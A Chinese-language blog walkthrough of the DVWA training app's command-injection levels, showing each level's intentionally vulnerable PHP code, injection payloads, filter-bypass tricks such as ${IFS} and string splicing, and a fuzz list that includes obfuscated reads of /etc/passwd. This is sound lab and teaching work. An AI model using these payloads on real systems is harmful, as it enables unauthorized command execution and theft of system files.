日期:2019-08-01 16:05:34
更新:
作者:Bay0net
介绍:利用命令注入,来复习了一下绕过过滤的方法,还可以写一个字典来 fuzz 命令注入的点。


0x01、 漏洞介绍

仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。

用户的一切输入都是不可信的。

0x02、Low Security Level

查看源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

分析代码

获取 IP 的值,直接传参使用 shell_exec 执行。

  • Windows 的话执行 ping 命令。
  • linux 的话,执行 ping -c 4 命令。

payload 如下,关于管道符的相关命令,见文末。

127.0.0.1;ifconfig
127.0.0.1&ifconfig
127.0.0.1&&ifconfig
127.0.0.1|ifconfig
x||ifconfig

0x03、Medium Security Level

查看源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

分析源码

过滤了 &&;,用其他的可以继续执行。

0x04、High Security Level

查看源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]); // Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

分析源码

过滤的是 |,有个空格,所以可以使用不带空格的 payload 。

127.0.0.1|ifconfig

0x05、Impossible Security Level

查看源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); // Split the IP into 4 octects
$octet = explode( ".", $target ); // Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

分析源码

  • 使用 user_token,来过滤请求
  • 把传来的参数分割(以.为分隔符),如果分割出来的东西,不是数字,就报错。

没想到有什么办法能绕过,可能真的是 impossible 的了。。

0x06、相关知识

关于管道符

linux 中的管道符

# &  表示任务在后台执行,如要在后台运行 redis-server
redis-server & # && 表示前一条命令执行成功时,才执行后一条命令 ,如
echo '1' && echo '2' # | 表示管道,上一条命令的输出,作为下一条命令参数,如
echo 'yes' | wc -l # || 表示上一条命令执行失败后,才执行下一条命令,如
cat nofile || echo "fail"

关于绕过(空格、拼接、单双引号)

绕过空格

利用 < 来绕过,只能读文件
cat<flag
cat<>flag 利用 ${IFS} 绕过
ls${IFS}./tmp
cat${IFS}/tmp/1.txt 利用 $IFS$9、${IFS}$9 也可以绕过,和上面的一样

拼接绕过

ls 的变形
a=l;b=s;$a$b uname -a 的变形
a=una;b=me$IFS$9-a;$a$b cat /tmp/flag
a=ca;b=t$IFS$9/tm;c=p/fla;d=g.txt;$a$b$c$d

单双引号反斜杠

c''at fl""ag
c\at fl\ag

对应

${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串

fuzz 字典

&ifconfig
&&ifconfig
&&&ifconfig
&&&&ifconfig
|ifconfig
||ifconfig
|||ifconfig
||||ifconfig
;ifconfig
;;ifconfig
& ifconfig
&& ifconfig
| ifconfig
|| ifconfig
; ifconfig
&${IFS}ifconfig
&&${IFS}ifconfig
|${IFS}ifconfig
||${IFS}ifconfig
;${IFS}ifconfig
a=if;b=config;$a$b
a=una;b=me$IFS$9-a;$a$b
c\at /et\c/pa\sswd
c''at /e""tc/pas""swd

【DVWA】Command Injection(命令注入)通关教程的更多相关文章

  1. Fortify Audit Workbench 笔记 Command Injection(命令注入)

    Command Injection(命令注入) Abstract 执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令. Explanation Comman ...

  2. DVWA靶场练习-Command Injection命令注入

    Command Injection 原理 攻击者通过构造恶意参数,破坏命令的语句结构,从而达到执行恶意命令的目的.

  3. command injection命令注入

    命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...

  4. 安全性测试入门:DVWA系列研究(二):Command Injection命令行注入攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令, ...

  5. DVWA-对Command Injection(命令注入)的简单演示与分析

    前言 上一篇文章中,对命令注入进行了简单的分析,有兴趣的可以去看一看,文章地址 https://www.cnblogs.com/lxfweb/p/12828754.html,今天这篇文章以DVWA的C ...

  6. DVWA Command Injection 通关教程

    Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...

  7. DVWA之Command injection(命令执行漏洞)

    目录 Low Medium Middle Impossible 命令执行漏洞的原理:在操作系统中, &  .&& .|  . ||   都可以作为命令连接符使用,用户通过浏览器 ...

  8. DVWA Command Injection 解析

    命令注入,即 Command Injection.是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 在Web应用中,有时候会用到一些命令执行的函数,如php中system.ex ...

  9. DVWA各等级命令注入漏洞

    漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...

  10. PHP代码审计之命令注入

    命令注入 命令注入就是通过利用无验证变量构造特殊语句对服务器进行渗透. 注入的种类有很多,而不仅仅是SQL Injection. php常见注入有以下几种(常见:,常见!!): 命令注入 (Comma ...

随机推荐

  1. MP4 ISO基础媒体文件格式 摘要 1

    目录 Object-structured File Organization 1 File Type Box (ftyp) Box Structures File Structure and gene ...

  2. linux chattr:配置文件隐藏属性;lsattr:显示文件属性

    1    chattr [+-=][ASadistu] 文件或目录名称 选项与参数: + :在原有参数设定基础上,追加参数.- :在原有参数设定基础上,移除参数.= :更新为指定参数设定.A:文件或目 ...

  3. 隔离技术线程池(ThreadPool)和信号量(semaphore)

    一.首先要明白Semaphore和线程池各自是干什么? 信号量Semaphore是一个并发工具类,用来控制可同时并发的线程数,其内部维护了一组虚拟许可,通过构造器指定许可的数量,每次线程执行操作时先通 ...

  4. 测试人员必备:linux文件清理不得不知道的技巧

    测试人员最常见和繁琐的任务之一就是清理系统,比如防止磁盘空间出现不足.下面是我收集的一些常用的 Linux 文件系统相关命令. 一 检查可用空间 要查找服务器上所有文件系统上的可用空间,请执行以下命令 ...

  5. Dubbo 04 服务化最佳实现流程

    Dubbo 04 服务化最佳实践 分包 建议将服务接口.服务模型.服务异常等均放在 API 包中,因为服务模型和异常也是 API 的一部分,这样做也符合分包原则:重用发布等价原则(REP),共同重用原 ...

  6. python django 重新安装不能创建项目

    这里仅给大家做个思路提醒: 1.如果在别的地方找到一样的问题那就按别的方法去解决 2.如果是创建startproject的时候 报错:no module named 'mysite'  这个的话就和 ...

  7. vim简明教程(附快速记忆方法)

    vim分为四种模式: 普通模式(normal mode) 插入模式(insert mode) 可视模式(visual mode) 命令模式(excute mode) 下面整理了常用的快捷键和记忆方法( ...

  8. HDU - 6583 Typewriter (后缀自动机+dp)

    题目链接 题意:你要打印一段字符串,往尾部添加一个字符需要花费p元,复制一段字符到尾部需要花费q元,求打印完全部字符的最小花费. 一开始想的贪心,后来发现忘了考虑p<q的情况了,还纳闷怎么不对. ...

  9. linux 查找某文件所在路径

    find 路径 -name 文件名 例如:find / -name logo_web.png  查找/路径下logo_web.png文件路径 如果为非root账号可用 sudo find / -nam ...

  10. k8sDeployment控制器

    简写为deploy,是k8s控制器的另一种实现,它构建于ReplicaSet之上,可为pod和rs资源提供声明式更新. deploy控制器资源的大部分功能均可通过调用rs来实现,同时,还增添了部分特性 ...